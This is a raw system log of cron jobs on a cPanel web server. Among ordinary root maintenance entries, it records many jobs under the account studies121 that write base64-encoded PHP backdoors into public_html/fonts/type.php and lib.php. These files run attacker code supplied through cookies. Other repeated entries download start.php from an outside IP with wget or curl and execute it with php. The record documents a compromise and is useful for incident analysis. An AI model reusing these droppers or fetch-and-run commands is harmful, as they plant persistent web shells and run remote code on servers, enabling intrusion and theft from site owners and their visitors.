Sep  2 09:11:01 ip-184-168-122-23 CROND[19814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:12:01 ip-184-168-122-23 CROND[19935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:12:01 ip-184-168-122-23 CROND[19936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:12:01 ip-184-168-122-23 CROND[19938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:12:01 ip-184-168-122-23 CROND[19940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:12:01 ip-184-168-122-23 CROND[19942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:13:01 ip-184-168-122-23 CROND[20077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:13:01 ip-184-168-122-23 CROND[20074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:13:01 ip-184-168-122-23 CROND[20075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:13:01 ip-184-168-122-23 CROND[20076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:14:01 ip-184-168-122-23 CROND[20198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:14:01 ip-184-168-122-23 CROND[20200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:14:01 ip-184-168-122-23 CROND[20201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:14:01 ip-184-168-122-23 CROND[20202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:14:01 ip-184-168-122-23 CROND[20203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:15:01 ip-184-168-122-23 CROND[20404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:15:01 ip-184-168-122-23 CROND[20406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:15:01 ip-184-168-122-23 CROND[20410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:15:01 ip-184-168-122-23 CROND[20408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:15:01 ip-184-168-122-23 CROND[20411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:15:01 ip-184-168-122-23 CROND[20412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:16:01 ip-184-168-122-23 CROND[20546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:16:01 ip-184-168-122-23 CROND[20548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:16:01 ip-184-168-122-23 CROND[20551]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:16:01 ip-184-168-122-23 CROND[20554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:16:01 ip-184-168-122-23 CROND[20552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:16:01 ip-184-168-122-23 CROND[20556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:17:01 ip-184-168-122-23 CROND[20678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:17:01 ip-184-168-122-23 CROND[20676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:17:01 ip-184-168-122-23 CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:17:01 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:18:01 ip-184-168-122-23 CROND[20824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:18:01 ip-184-168-122-23 CROND[20825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:18:01 ip-184-168-122-23 CROND[20828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:18:01 ip-184-168-122-23 CROND[20831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:18:01 ip-184-168-122-23 CROND[20830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:19:01 ip-184-168-122-23 CROND[20939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:19:02 ip-184-168-122-23 CROND[20941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:19:02 ip-184-168-122-23 CROND[20942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:19:02 ip-184-168-122-23 CROND[20943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:20:01 ip-184-168-122-23 CROND[21079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:20:01 ip-184-168-122-23 CROND[21081]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21083]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:20:01 ip-184-168-122-23 CROND[21091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:21:01 ip-184-168-122-23 CROND[21217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:21:01 ip-184-168-122-23 CROND[21219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:21:01 ip-184-168-122-23 CROND[21222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:21:01 ip-184-168-122-23 CROND[21221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:22:01 ip-184-168-122-23 CROND[21406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:22:01 ip-184-168-122-23 CROND[21408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:22:01 ip-184-168-122-23 CROND[21407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:22:01 ip-184-168-122-23 CROND[21409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:22:01 ip-184-168-122-23 CROND[21412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:23:01 ip-184-168-122-23 CROND[21533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:23:01 ip-184-168-122-23 CROND[21534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:23:01 ip-184-168-122-23 CROND[21537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:23:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:24:01 ip-184-168-122-23 CROND[21661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
